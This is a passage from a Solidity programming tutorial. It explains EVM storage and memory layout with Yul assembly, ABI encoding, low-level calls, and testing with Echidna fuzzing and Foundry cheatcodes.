        assembly {
            v0 := sload(0)
            v1 := sload(1)
        }
    }
}

contract EVMStorageFixedArray {
```

```
    // Fixed array with elements = 32 bytes, slot of element = slot where array is declared + index of array elemen
    // slots 0, 1, 2
    uint256[3] private arr_0 = [1, 2, 3];
    // slots 3, 4, 5
    uint256[3] private arr_1 = [4, 5, 6];
    // slot + index of packed data
    // slots 6, 6, 7, 7, 8
    uint128[5] private arr_2 = [7, 8, 9, 10, 11];

    function test_arr_0(uint256 i) public view returns (uint256 v) {
        assembly {
            // arr_0 starts from slot 0
            v := sload(add(0, i))
        }
    }

    function test_arr_1(uint256 i) public view returns (uint256 v) {
        assembly {
            // arr_1 starts from slot 3
            v := sload(add(3, i))
        }
    }

    function test_arr_2(uint256 i) public view returns (uint128 v) {
        assembly {
            // arr_2 starts from slot 6
            let b32 := sload(add(6, div(i, 2)))
            // slot 6 = 1st element | 0th element
            // slot 7 = 3rd element | 2nd element
            // slot 8 = 000 ... 000 | 4th element

            // i is even => get right 128 bits => cast bytes32 to uint128 (cut off left 128 bits)
            // i is odd  => get left 128 bits  => shift right 128 bits

            switch mod(i, 2)
            case 1 { v := shr(128, b32) }
            default { v := b32 }
        }
    }
}

contract EVMStorageDynamicArray {
    // slot of element = keccak256(slot where this array is declared) + size of element * index of element
    // keccak256(0) + 1 * index
    uint256[] private arr = [11, 22, 33];
    // keccak256(1) + 1 / 2 * index
    uint128[] private arr_2 = [1, 2, 3];

    function test_arr(uint256 slot, uint256 i)
        public
        view
        returns (uint256 v, bytes32 b32, uint256 len)
    {
        bytes32 start = keccak256(abi.encode(slot));

        assembly {
            len := sload(slot)
            v := sload(add(start, i))
            b32 := v
        }
    }
}
```

```
contract EVMStorageMapping {
    // slot of value = keccak256(key, slot where mapping is declared)
    mapping(address => uint256) public map;

    address public constant ADDR_1 = address(1);
    address public constant ADDR_2 = address(2);
    address public constant ADDR_3 = address(3);

    constructor() {
        map[ADDR_1] = 11;
        map[ADDR_2] = 22;
        map[ADDR_3] = 33;
    }

    function test_mapping(address key) public view returns (uint256 v) {
        uint256 slot = 0;
        bytes32 slot_v = keccak256(abi.encode(key, slot));

        assembly {
            v := sload(slot_v)
        }
    }
}

contract EVMStorageNestedMapping {
    // key0 => key1 => val
    // slot of value = keccak256(key1, keccak256(key0, slot where nested mapping is declared))
    mapping(address => mapping(address => uint256)) public map;

    address public constant ADDR_1 = address(1);
    address public constant ADDR_2 = address(2);
    address public constant ADDR_3 = address(3);

    constructor() {
        map[ADDR_1][ADDR_2] = 11;
        map[ADDR_2][ADDR_3] = 22;
        map[ADDR_3][ADDR_1] = 33;
    }

    function test_nested_mapping(address key_0, address key_1)
        public
        view
        returns (uint256 v)
    {
        uint256 slot = 0;
        bytes32 s0 = keccak256(abi.encode(key_0, slot));
        bytes32 s1 = keccak256(abi.encode(key_1, s0));

        assembly {
            v := sload(s1)
        }
    }
}

contract EVMStorageMappingArray {
    // slot of value in a mapping = keccak256(key, slot)
    // slot of array element = keccak256(slot) + index
    // mapping -> array -> keccak256(keccak256(key, slot of map declaration)) + index
    mapping(address => uint256[]) public map;

    address public constant ADDR_1 = address(1);
    address public constant ADDR_2 = address(2);
```

```
    constructor() {
        map[ADDR_1].push(11);
        map[ADDR_1].push(22);
        map[ADDR_1].push(33);
        map[ADDR_2].push(44);
        map[ADDR_2].push(55);
        map[ADDR_2].push(66);
    }

    function test_map_arr(address addr, uint256 i)
        public
        view
        returns (uint256 v, uint256 len)
    {
        uint256 map_slot = 0;
        bytes32 map_hash = keccak256(abi.encode(addr, map_slot));
        bytes32 arr_hash = keccak256(abi.encode(map_hash));

        assembly {
            len := sload(map_hash)
            v := sload(add(arr_hash, i))
        }
    }
}

contract EVMStorageDynamicArrayStruct {
    struct Point {
        uint256 x;
        uint128 y;
        uint128 z;
    }

    // slot of element = keccak256(slot where this array is declared) + index of element
    // keccak256(0) + index * size of struct
    Point[] private arr;

    constructor() {
        arr.push(Point(11, 22, 33));
        arr.push(Point(44, 55, 66));
        arr.push(Point(77, 88, 99));
    }

    function test_struct_arr(uint256 i)
        public
        view
        returns (uint256 x, uint128 y, uint128 z, uint256 len)
    {
        uint256 slot = 0;
        bytes32 start = keccak256(abi.encode(slot));

        assembly {
            len := sload(slot)
            // s0 = keccak256(0)
            // index | slot        | values
            //     0 | slot s0 + 0 | arr[0].x
            //     0 | slot s0 + 1 | arr[0].z | arr[0].y
            //     1 | slot s0 + 2 | arr[1].x
            //     1 | slot s0 + 3 | arr[1].z | arr[1].y
            //     2 | slot s0 + 4 | arr[2].x
            //     2 | slot s0 + 5 | arr[2].z | arr[2].y
            x := sload(add(start, mul(i, 2)))
            let zy := sload(add(start, add(mul(i, 2), 1)))
            // uint128 cuts off left most 128 bits from 32 bytes
```

```
            y := zy
            z := shr(128, zy)
        }
    }
}
```

4.2 EVM Memory Layout in Solidity

Example of EVM memory in Solidity

Examples of

- Reading and writing to memory with `assembly`
- Memory layout in Solidity of different data types
- Memory management for external calls

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

// Memory layout
// array of length 2**256 (32 bytes), each element stores 1 byte (0x00 to 0xff)
// index     0    1    2   ...   0xfff...fff = 2**256 - 1
// memory | 00 | 00 | 00 | ... | 00 |

// Reserved slots
// 0x00 - 0x3f (64 bytes): scratch space for hashing methods
// 0x40 - 0x5f (32 bytes): free memory pointer - pointer to next available location in memory to store data
// 0x60 - 0x7f (32 bytes): zero slot - used as initial value for dynamic memory arrays and should never be written

// Free memory pointer (0x40)
// 0x80 = Free memory pointer initially points here
contract MemBasic {
    // mstore(p, v) = store 32 bytes to memory starting at memory location p
    // mload(p) = load 32 bytes from memory starting at memory location p
    function test_1() public pure returns (bytes32 b32) {
        assembly {
            // Free memory pointer
            // p = 0x80
            let p := mload(0x40)
            mstore(p, 0xababab)
            b32 := mload(p)
        }
    }

    function test_2() public pure {
        assembly {
            mstore(0, 0x11)
            // index: 32 bytes of data stored in memory from index
            //  0x00: 0x0000000000000000000000000000000000000000000000000000000000000011
            mstore(1, 0x22)
            //           0 1
            //  0x00: 0x0000000000000000000000000000000000000000000000000000000000000000
            //  0x20: 0x2200000000000000000000000000000000000000000000000000000000000000
            mstore(2, 0x33)
            //           0 1 2
            //  0x00: 0x0000000000000000000000000000000000000000000000000000000000000000
            //  0x20: 0x0033000000000000000000000000000000000000000000000000000000000000
            mstore(3, 0x44)
            //           0 1 2 3
            //  0x00: 0x0000000000000000000000000000000000000000000000000000000000000000
            //  0x20: 0x0000440000000000000000000000000000000000000000000000000000000000
        }
    }
}
```

```
contract MemStruct {
    // Memory data is not packed - all data stored in chunks of 32 bytes
    struct Point {
        uint256 x;
        uint32 y;
        uint32 z;
    }

    function test_read()
        public
        pure
        returns (uint256 x, uint256 y, uint256 z)
    {
        // Point is loaded to memory starting at 0x80
        // 0x80 = initial free memory
        Point memory p = Point(1, 2, 3);

        assembly {
            // load 32 bytes starting from 0x80
            x := mload(0x80)
            // load 32 bytes starting from 0xa0 (0x80 + 32 = 0xa0)
            y := mload(0xa0)
            // load 32 bytes starting from 0xc0 (0xa0 + 32 = 0xc0)
            z := mload(0xc0)
        }
    }

    function test_write()
        public
        pure
        returns (bytes32 free_mem_ptr, uint256 x, uint256 y, uint256 z)
    {
        // Allocates memory 0x80 to 0xdf to Point
        // Free memory pointer = 0xdf + 1 = 0xe0
        Point memory p;

        // Write
        assembly {
            // store to 0x80
            mstore(p, 11)
            // store to 0xa0
            mstore(add(p, 0x20), 22)
            // store to 0xc0
            mstore(add(p, 0x40), 33)
            // 0xe0
            free_mem_ptr := mload(0x40)
        }

        x = p.x;
        y = p.y;
        z = p.z;
    }
}

contract MemFixedArray {
    function test_read()
        public
        pure
        returns (uint256 a0, uint256 a1, uint256 a2)
    {
        // arr is loaded to memory starting at 0x80
        // Each array element is stored as 32 bytes
        uint32[3] memory arr = [uint32(1), uint32(2), uint32(3)];
```

```
        assembly {
            a0 := mload(0x80)
            a1 := mload(0xa0)
            a2 := mload(0xc0)
        }
    }

    function test_write()
        public
        pure
        returns (uint256 a0, uint256 a1, uint256 a2)
    {
        uint32[3] memory arr;

        assembly {
            // 0x80
            mstore(arr, 11)
            // 0xa0
            mstore(add(arr, 0x20), 22)
            // 0xc0
            mstore(add(arr, 0x40), 33)
        }

        a0 = arr[0];
        a1 = arr[1];
        a2 = arr[2];
    }
}

contract MemDynamicArray {
    function test_read()
        public
        pure
        returns (bytes32 p, uint256 len, uint256 a0, uint256 a1, uint256 a2)
    {
        uint256[] memory arr = new uint256[](5);
        arr[0] = uint256(11);
        arr[1] = uint256(22);
        arr[2] = uint256(33);
        arr[3] = uint256(44);
        arr[4] = uint256(55);

        assembly {
            p := arr
            // 0x80
            len := mload(arr)
            // 0xa0
            a0 := mload(add(arr, 0x20))
            // 0xc0
            a1 := mload(add(arr, 0x40))
            // 0xe0
            a2 := mload(add(arr, 0x60))
        }
    }

    function test_write() public pure returns (bytes32 p, uint256[] memory) {
        uint256[] memory arr = new uint256[](0);

        assembly {
            p := arr
            // Store length of arr
            mstore(arr, 3)
```

```
            // Store 1, 2, 3
            mstore(add(arr, 0x20), 11)
            mstore(add(arr, 0x40), 22)
            mstore(add(arr, 0x60), 33)
            // Update free memory pointer
            mstore(0x40, add(arr, 0x80))
        }

        // Data will be ABI encoded when arr is returned to caller
        return (p, arr);
    }
}

contract MemInternalFuncReturn {
    function internal_func_return_val() private pure returns (uint256) {
        return uint256(0xababab);
    }

    function test_val() public pure {
        // 0xababab will be stored in top of the stack
        internal_func_return_val();
    }

    function internal_func_return_mem()
        private
        pure
        returns (bytes32[] memory)
    {
        bytes32[] memory arr = new bytes32[](3);
        arr[0] = bytes32(uint256(0xaaa));
        arr[1] = bytes32(uint256(0xbbb));
        arr[2] = bytes32(uint256(0xccc));
        return arr;
    }

    function test_mem()
        public
        pure
        returns (uint256 len, bytes32 a0, bytes32 a1, bytes32 a2)
    {
        // Stores 0x80 to top of the stack
        // 0x80 = memory pointer to beginning of arr
        internal_func_return_mem();
        // Read data from arr, initialized in internal_func_return_mem, using assembly
        assembly {
            len := mload(0x80)
            a0 := mload(0xa0)
            a1 := mload(0xc0)
            a2 := mload(0xe0)
        }
    }
}

contract ABIEncode {
    // js code to split string into chunks of length 64
    // str.match(/.{1,64}/g)

    // Value types < 32 bytes -> zero padded on the left side
    // 0x000000000000000000000000ababababababababababababababababababab
    function encode_addr() public pure returns (bytes memory) {
        address addr = 0xABaBaBaBABabABabAbAbABAbABababaBaBABaB;
        return abi.encode(addr);
    }
```

```
    // Fixed sized bytes -> zero padded on the right side
    // 0xaabbccdd0000000000000000000000000000000000000000000000000000000000
    function encode_bytes4() public pure returns (bytes memory) {
        bytes4 b4 = 0xaabbccdd;
        return abi.encode(b4);
    }

    // Dynamic size types
    // offset | length | data
    // offset = 32 bytes index where data starts
    // length = 32 bytes data length

    // 0x0000000000000000000000000000000000000000000000000000000000000020
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   ababab0000000000000000000000000000000000000000000000000000000000
    function encode_bytes() public pure returns (bytes memory) {
        bytes memory b = new bytes(3);
        b[0] = 0xab;
        b[1] = 0xab;
        b[2] = 0xab;
        return abi.encode(b);
    }

    // 0x0000000000000000000000000000000000000000000000000000000000000020
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
    function encode_uint8_arr() public pure returns (bytes memory) {
        uint8[] memory a = new uint8[](3);
        a[0] = 1;
        a[1] = 2;
        a[2] = 3;
        return abi.encode(a);
    }

    // Fixed size arrays
    // 0x0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
    function encode_uint256_fixed_size_arr()
        public
        pure
        returns (bytes memory)
    {
        uint8[3] memory a;
        a[0] = 1;
        a[1] = 2;
        a[2] = 3;
        return abi.encode(a);
    }

    // Struct
    struct Point {
        uint256 x;
        uint128 y;
        uint128 z;
    }

    // 0x0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
```

```
    function encode_struct() public pure returns (bytes memory) {
        Point memory p = Point(1, 2, 3);
        return abi.encode(p);
    }

    // Dynamic sized array of structs
    // offset | length | struct data
    // 0x0000000000000000000000000000000000000000000000000000000000000020
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   0000000000000000000000000000000000000000000000000000000000000004
    //   0000000000000000000000000000000000000000000000000000000000000005
    //   0000000000000000000000000000000000000000000000000000000000000006
    //   0000000000000000000000000000000000000000000000000000000000000007
    //   0000000000000000000000000000000000000000000000000000000000000008
    //   0000000000000000000000000000000000000000000000000000000000000009
    function encode_struct_array() public pure returns (bytes memory) {
        Point[] memory arr = new Point[](3);
        arr[0] = Point(1, 2, 3);
        arr[1] = Point(4, 5, 6);
        arr[2] = Point(7, 8, 9);
        return abi.encode(arr);
    }
}

contract MemReturn {
    function test_return_vals() public pure returns (uint256, uint256) {
        // return(start, len) - Halt execution and return data stored in memory from start to start + len
        assembly {
            mstore(0x80, 11)
            mstore(0xa0, 22)
            return(0x80, 0x40)
        }
    }

    function test_return_dyn_arr() public pure returns (uint256[] memory) {
        // ABI encode uint256[] array with 3 elements 11, 22 and 33
        assembly {
            // offset
            mstore(0x80, 0x20)
            // length
            mstore(add(0x80, 0x20), 3)
            // array elements
            mstore(add(0x80, 0x40), 11)
            mstore(add(0x80, 0x60), 22)
            mstore(add(0x80, 0x80), 33)
            // No need to update free memory pointer - function execution ends here
            return(0x80, mul(5, 0x20))
        }
    }

    function test_return() public pure returns (uint256, uint256) {
        // Returns (11, 22)
        test_return_vals();
        // This code will never execute
        return (333, 444);
    }
}

contract MemRevert {
    function test_revert() public pure {
```

```
        // revert(start, len) - Revert execution and return data store in memory from start to start + len
        assembly {
            mstore(0x80, "ERROR HERE")
            revert(0x80, 0x20)
        }
    }

    function test_revert_with_error_msg() public pure {
        assembly {
            let p := mload(0x40)
            // function selector of Error(string)
            // 0x08c379a0000000000000000000000000000000000000000000000000000000
            // 0x08c379a0 is 32 bits, shift left by 224 to make it 256 bits
            // 255 - 31 = 224
            mstore(p, shl(224, 0x08c379a0))
            // String offset
            mstore(add(p, 0x04), 0x20)
            // String length
            mstore(add(p, 0x24), 5)
            // Message (must be less than 32 bytes)
            mstore(add(p, 0x44), "ERROR")
            // function selector + offset + string length + string message
            // = 0x04 + 0x20 + 0x20 + 0x20
            // = 0x64
            revert(p, 0x64)
        }
    }
}

contract MemKeccak {
    function test_keccak() public pure returns (bytes32) {
        // keccak256(start, len) - Keccak256 from data in memory from start to start + len
        assembly {
            mstore(0x80, 1)
            mstore(0xa0, 2)

            let h := keccak256(0x80, 0x40)
            mstore(0xc0, h)

            return(0xc0, 0x20)
        }
    }

    function keccak() public pure returns (bytes32) {
        return keccak256(abi.encodePacked(uint256(1), uint256(2)));
    }
}

contract Target {
    function return_uint256(uint256 x) public pure returns (uint256) {
        return x;
    }

    function return_bytes(uint256 n) public pure returns (bytes memory) {
        bytes memory out = new bytes(n);
        for (uint256 i; i < n; i++) {
            out[i] = 0xab;
        }
        return out;
    }

    function return_uint256_arr(uint256 n)
        public
```

```
        pure
        returns (uint256[] memory)
    {
        uint256[] memory out = new uint256[](n);
        for (uint256 i = 0; i < n; i++) {
            out[i] = i + 1;
        }
        return out;
    }
}

// calldatacopy(p, start, size) - Copy start to start + size calldata to memory starting at pointer p
// returndatasize - Get size of returned data from call, staticcall or delegatecall
// returndatacopy(p, start, size) - Copy start to start + size return data to memory starting at pointer p
// call(g, a, v, in, in_size, out, out_size)
// - call contract at a, use max g gas, send v wei
// - with input from memory in to in + in_size
// - use memory out to out + out_size for output
// staticcall(g, a, in, in_size, out, out_size) - read only version of call
contract YulStaticCall {
    function test_staticcall(address a, bytes calldata data) public view {
        assembly {
            let p := mload(0x40)
            // Copy calldata to memory
            calldatacopy(p, data.offset, data.length)

            let ok := staticcall(gas(), a, p, data.length, 0, 0)

            if iszero(ok) { revert(0, 0) }

            // p := mload(0x40)
            let return_data_size := returndatasize()
            // Copy returned data to memory
            // Is it safe to overwrite memory that was used for inputs?
            returndatacopy(p, 0, return_data_size)
            return(p, return_data_size)
        }
    }

    function test_abi_decode_uint256(address a, bytes calldata data)
        public
        view
        returns (uint256)
    {
        test_staticcall(a, data);
    }

    function test_abi_decode_bytes(address a, bytes calldata data)
        public
        view
        returns (bytes memory)
    {
        test_staticcall(a, data);
    }

    function test_abi_decode_uint256_arr(address a, bytes calldata data)
        public
        view
        returns (uint256[] memory)
    {
        test_staticcall(a, data);
    }
```

```
    function test_staticcall_return_abi_encoded_bytes(
        address addr,
        bytes calldata data
    ) public view returns (bytes memory out, uint256 return_data_size) {
        assembly {
            let p := mload(0x40)
            // Copy calldata to memory
            calldatacopy(p, data.offset, data.length)
            // Update free memory pointer
            mstore(0x40, add(p, data.length))

            let ok := staticcall(gas(), addr, p, data.length, 0, 0)

            if iszero(ok) { revert(0, 0) }

            // return_data_size = 32  for calling Target.return_uint256 -> uint256
            //                  = 96  for calling Target.return_bytes -> bytes[] (32 offset, 32 length, 3 bytes pad
            //                  = 160 for calling Target.return_uint256_arr -> uint256[] (32 offset, 32 length, 32 
            return_data_size := returndatasize()
            // Store length of return data to out
            // pointer to out = 0x60 (zero slot)
            mstore(out, return_data_size)
            // Copy return data to out
            returndatacopy(add(out, 0x20), 0, return_data_size)
            // Update free memory pointer
            mstore(0x40, add(out, add(0x20, return_data_size)))
        }
    }
}

contract Counter {
    uint256 public count;

    function inc() public returns (uint256) {
        count += 1;
        return count;
    }
}

contract YulCall {
    function test_call(address a, bytes memory data)
        public
        payable
        returns (bytes memory out)
    {
        assembly {
            // 0x80
            let data_ptr := data
            // 0x60
            let out_ptr := out

            let data_size := mload(data)
            let data_start := add(data, 0x20)
            let ok := call(gas(), a, callvalue(), data_start, data_size, 0, 0)

            if iszero(ok) { revert(0, 0) }

            let return_data_size := returndatasize()
            // Store length of return data to out
            mstore(out, return_data_size)
            // Copy return data to out
            returndatacopy(add(out, 0x20), 0, return_data_size)
            // Update free memory pointer
```

```
            mstore(0x40, add(out, add(0x20, return_data_size)))
        }
    }

    function test_inc(address counter) public returns (uint256 count) {
        bytes memory res = test_call(counter, abi.encodeCall(Counter.inc, ()));
        count = abi.decode(res, (uint256));
    }
}

// Memory expansion gas cost
// Gas cost is quadratic to memory allocation.
contract MemExp {
    function alloc_mem(uint256 n) external view returns (uint256) {
        uint256 gas_start = gasleft();
        uint256[] memory arr = new uint256[](n);
        uint256 gas_end = gasleft();
        return gas_start - gas_end;
    }
}

// arr size | gas
//        0 |    120
//        1 |    178
//       10 |    232
//       20 |    293
//       30 |    354
//       40 |    415
//       50 |    477
//       60 |    540
//       70 |    602
//       80 |    666
//       90 |    729
//      100 |    793
//      110 |    857
//      120 |    922
//      130 |    987
//      140 |   1053
//      150 |   1118
//      160 |   1185
//      170 |   1251
//      180 |   1318
//      190 |   1386
//      200 |   1454

//     1000 |   8144
//     2000 |  20023
//     3000 |  35808
//     4000 |  55500
//     5000 |  79097
//     6000 | 106601
//     7000 | 138011
//     8000 | 173328
//     9000 | 212550
//    10000 | 255679
//    11000 | 302715
//    12000 | 353656
//    13000 | 408504
//    14000 | 467257
//    15000 | 529918
//    16000 | 596484
//    17000 | 666957
//    18000 | 741336
```

```
//    19000 | 819621
//    20000 | 901812
```

References

Solidity documentation

EVM Codes

Chapter 5 — Testing

5.1 Echidna

An example of testing contracts with Echidna

Examples of fuzzing with Echidna.

1. Save the solidity contract as `TestEchidna.sol`
2. In the folder where your contract is stored execute the following command.

```
docker run -it --rm -v $PWD:/code trailofbits/eth-security-toolbox
```

Inside docker, your code will be stored at `/code`, in the root directory.

3. See the comments below and execute `echidna` commands.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
echidna TestEchidna.sol --contract TestCounter
*/
contract Counter {
    uint256 public count;

    function inc() external {
        count += 1;
    }

    function dec() external {
        count -= 1;
    }
}

contract TestCounter is Counter {
    function echidna_test_true() public view returns (bool) {
        return true;
    }

    function echidna_test_false() public view returns (bool) {
        return false;
    }

    function echidna_test_count() public view returns (bool) {
        // Here we are testing that Counter.count should always be <= 5.
        // Test will fail. Echidna is smart enough to call Counter.inc() more
        // than 5 times.
        return count <= 5;
    }
}

/*
echidna TestEchidna.sol --contract TestAssert --test-mode assertion
*/
contract TestAssert {
    function test_assert(uint256 _i) external {
        assert(_i < 10);
    }
```

```
    // More complex example
    function abs(uint256 x, uint256 y) private pure returns (uint256) {
        if (x >= y) {
            return x - y;
        }
        return y - x;
    }

    function test_abs(uint256 x, uint256 y) external {
        uint256 z = abs(x, y);
        if (x >= y) {
            assert(z <= x);
        } else {
            assert(z <= y);
        }
    }
}
```

Testing Time and Sender

Echidna can fuzz timestamps. Range of timestamp is set in the configuration. Default is 7 days.

Contract callers can also be set in the configuration. Default accounts are

- `0x10000`
- `0x20000`
- `0x30000`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
docker run -it --rm -v $PWD:/code trailofbits/eth-security-toolbox
echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
*/
contract EchidnaTestTimeAndCaller {
    bool private pass = true;
    uint256 private createdAt = block.timestamp;

    /*
    test will fail if Echidna can call setFail()
    test will pass otherwise
    */
    function echidna_test_pass() public view returns (bool) {
        return pass;
    }

    function setFail() external {
        /*
        Echidna can call this function if delay <= max block delay
        Otherwise Echidna will not be able to call this function.
        Max block delay can be extended by specifying it in a configuration file.
        */
        uint256 delay = 7 days;
        require(block.timestamp >= createdAt + delay);
        pass = false;
    }

    // Default senders
```

```
    // Change the addresses to see the test fail
    address[3] private senders =
        [address(0x10000), address(0x20000), address(0x30000)];

    address private sender = msg.sender;

    // Pass _sender as input and require msg.sender == _sender
    // to see _sender for counter example
    function setSender(address _sender) external {
        require(_sender == msg.sender);
        sender = msg.sender;
    }

    // Check default senders. Sender should be one of the 3 default accounts.
    function echidna_test_sender() public view returns (bool) {
        for (uint256 i; i < 3; i++) {
            if (sender == senders[i]) {
                return true;
            }
        }
        return false;
    }
}
```

Chapter 6 — Foundry

6.1 Foundry Basic

Foundry basic example

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test, console2, stdError} from "forge-std/Test.sol";

contract Counter {
    uint256 public count;

    function inc() external {
        count += 1;
    }

    function dec() external {
        count -= 1;
    }
}

contract CounterTest is Test {
    Counter public counter;

    // Invoked before each test
    function setUp() public {
        counter = new Counter();
    }

    function testInc() public {
        counter.inc();
        assertEq(counter.count(), 1);
    }

    function testFailDec() public {
        // This will fail with underflow
        counter.dec();
    }

    // Same as testFailDec
    function testDecUnderflow() public {
        vm.expectRevert(stdError.arithmeticError);
        counter.dec();
    }

    function testDec() public {
        counter.inc();
        counter.inc();
        counter.dec();
        assertEq(counter.count(), 1);
    }
}
```

6.2 Foundry Authorization

Foundry authorization example

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test, console2, stdError} from "forge-std/Test.sol";

contract Auth {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function setOwner(address _owner) external {
        require(msg.sender == owner, "not authorized");
        owner = _owner;
    }
}

contract AuthTest is Test {
    Auth private auth;

    function setUp() public {
        // owner = this contract
        auth = new Auth();
    }

    function testSetOwner() public {
        auth.setOwner(address(1));
        assertEq(auth.owner(), address(1));
    }

    function testFailNotOwner() public {
        // Next call will be called by address(1)
        vm.prank(address(1));
        auth.setOwner(address(1));

        vm.startPrank(address(1));
        // All calls until stopPrank will be made by address(1)
        auth.setOwner(address(1));
        auth.setOwner(address(1));
        auth.setOwner(address(1));
        vm.stopPrank();
    }
}
```

6.3 Foundry Error

Foundry error example

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import "forge-std/Test.sol";

contract Error {
    error NotAuthorized();

    function throwError() external {
        require(false, "not authorized");
    }

    function throwCustomError() external {
        revert NotAuthorized();
    }
}

contract ErrorTest is Test {
    Error public err;

    function setUp() public {
        err = new Error();
    }

    // Start test name with testFail
    function testFail() public {
        err.throwError();
    }

    function testRevert() public {
        vm.expectRevert();
        err.throwError();
    }

    function testRequireMessage() public {
        vm.expectRevert(bytes("not authorized"));
        err.throwError();
    }

    function testCustomError() public {
        vm.expectRevert(Error.NotAuthorized.selector);
        err.throwCustomError();
    }

    // Add label to assertions
    function testErrorLabel() public {
        assertEq(uint256(1), uint256(1), "test 1");
        assertEq(uint256(1), uint256(1), "test 2");
        assertEq(uint256(1), uint256(1), "test 3");
    }
}
```

6.4 Foundry Event

Foundry event

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import "forge-std/Test.sol";

contract Event {
    event Transfer(address indexed from, address indexed to, uint256 amount);

    function transfer(address from, address to, uint256 amount) external {
        emit Transfer(from, to, amount);
    }

    function transferMany(
        address from,
        address[] calldata to,
        uint256[] calldata amounts
    ) external {
        for (uint256 i = 0; i < to.length; i++) {
            emit Transfer(from, to[i], amounts[i]);
        }
    }
}

contract EventTest is Test {
    Event public e;

    event Transfer(address indexed from, address indexed to, uint256 amount);

    function setUp() public {
        e = new Event();
    }

    function testEmitTransferEvent() public {
        // function expectEmit(
        //     bool checkTopic1,
        //     bool checkTopic2,
        //     bool checkTopic3,
        //     bool checkData
        // ) external;

        // 1. Tell Foundry which data to check
        // Check index 1, index 2 and data
        vm.expectEmit(true, true, false, true);
        // 2. Emit the expected event
        emit Transfer(address(this), address(123), 456);
        // 3. Call the function that should emit the event
        e.transfer(address(this), address(123), 456);

        // Check only index 1
        vm.expectEmit(true, false, false, false);
        emit Transfer(address(this), address(123), 456);
        // NOTE: index 2 and data (amount) doesn't match
        //       but the test will still pass
        e.transfer(address(this), address(111), 222);
    }
```

```
    function testEmitManyTransferEvent() public {
        address[] memory to = new address[](2);
        to[0] = address(111);
        to[1] = address(222);

        uint256[] memory amounts = new uint256[](2);
        amounts[0] = 1;
        amounts[1] = 2;

        for (uint256 i = 0; i < to.length; i++) {
            // 1. Tell Foundry which data to check
            vm.expectEmit(true, true, false, true);
            // 2. Emit the expected event
            emit Transfer(address(this), to[i], amounts[i]);
        }

        // 3. Call the function that should emit the event
        e.transferMany(address(this), to, amounts);
    }
}
```

6.5 Foundry Send

Foundry send

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import "forge-std/Test.sol";

// Examples of deal and hoax
// deal(address, uint) - Set ETH balance of address
// deal(address, address, uint256) - Sets ERC20 token balance (works for most tokens)
// hoax(address, uint) - deal + prank

contract ERC20 {
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
}

contract SendTest is Test {
    ERC20 token = new ERC20();

    function testSendEth() public {
        // Set ETH balance
        deal(address(1), 100);
        assertEq(address(1).balance, 100);

        // Set ERC20 balance
        deal(address(token), address(1), 10);
        assertEq(token.balanceOf(address(1)), 10);
    }
}
```

6.6 Foundry Time

Foundry time

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import "forge-std/Test.sol";

contract TimeTest is Test {
    // vm.warp - set block.timestamp to future timestamp
    // vm.roll - set block.number
    // skip - increment current timestamp
    // rewind - decrement current timestamp

    function test() public {
        console.log("timestamp", block.timestamp);
        console.log("block number", block.number);

        console.log("warp");
        vm.warp(block.timestamp + 10);
        console.log("timestamp", block.timestamp);

        console.log("skip");
        skip(10);
        console.log("timestamp", block.timestamp);

        console.log("roll");
        vm.roll(10);
        console.log("block number", block.number);

        console.log("rewind");
        rewind(10);
        console.log("timestamp", block.timestamp);
    }
}
```

6.7 Foundry Sign

Foundry sign

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import "forge-std/Test.sol";

contract SignTest is Test {
    // private key = 123
    // public key = vm.addr(private key)
    // message = "secret message"
    // message hash = keccak256(message)
    // vm.sign(private key, message hash)
    function testSignature() public {
        uint256 privateKey = 123;
        // Computes the address for a given private key.
        address alice = vm.addr(privateKey);

        // Test valid signature
        bytes32 messageHash = keccak256("Signed by Alice");

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, messageHash);
        address signer = ecrecover(messageHash, v, r, s);

        assertEq(signer, alice);

        // Test invalid message
        bytes32 invalidHash = keccak256("Not signed by Alice");
        signer = ecrecover(invalidHash, v, r, s);

        assertTrue(signer != alice);
    }
}
```

6.8 Foundry Label

Foundry label

Use `vm.label` to put a label on contracts

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import "forge-std/Test.sol";

address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

interface IERC20 {
    function balanceOf(address) external view returns (uint256);
}

contract LabelTest is Test {
    IERC20 weth;

    function setUp() public {
        weth = IERC20(WETH);
        // Label address with "WETH", this will be displayed in stack traces
        vm.label(WETH, "WETH");
    }

    function test() public {
        console.log("%e", weth.balanceOf(address(this)));
    }
}
```

6.9 Foundry Mock Call

Foundry mock call

Set return values from a function call with `mockCall`.

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import "forge-std/Test.sol";

contract Target {
    function f(uint256 x, uint256 y) external view returns (uint256) {
        return g();
    }

    function g() internal view returns (uint256) {
        return 1;
    }
}

contract MockCallTest is Test {
    Target target;

    function setUp() public {
        target = new Target();
    }

    function test() public {
        uint256 x = 1;
        uint256 y = 1;
        vm.mockCall(
            address(target),
            abi.encodeCall(Target.f, (x, y)),
